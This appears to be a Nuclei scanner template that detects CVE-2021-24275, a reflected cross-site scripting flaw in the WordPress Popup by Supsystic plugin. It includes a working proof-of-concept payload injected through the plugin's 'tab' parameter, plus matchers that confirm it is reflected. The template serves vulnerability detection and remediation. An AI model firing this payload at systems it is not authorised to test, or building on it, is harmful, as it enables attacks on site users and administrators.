id: CVE-2021-24275

info:
  name: Popup by Supsystic <1.10.5 - Cross-Site scripting
  author: dhiyaneshDK
  severity: medium
  description: WordPress Popup by Supsystic before 1.10.5 did not sanitize the tab parameter of its options page before outputting it in an attribute, leading to a reflected cross-site scripting issue.
  remediation: |
    Upgrade to Popup by Supsystic version 1.10.5 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/efdc76e0-c14a-4baf-af70-9d381107308f
    - http://packetstormsecurity.com/files/164311/WordPress-Popup-1.10.4-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24275
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24275
    cwe-id: CWE-79
    epss-score: 0.00177
    epss-percentile: 0.54797
    cpe: cpe:2.3:a:supsystic:popup:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: supsystic
    product: popup
    framework: wordpress
  tags: wpscan,packetstorm,wordpress,cve,cve2021,wp-plugin

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/admin.php?page=popup-wp-supsystic&tab=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '</script><script>alert(document.domain)</script>'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

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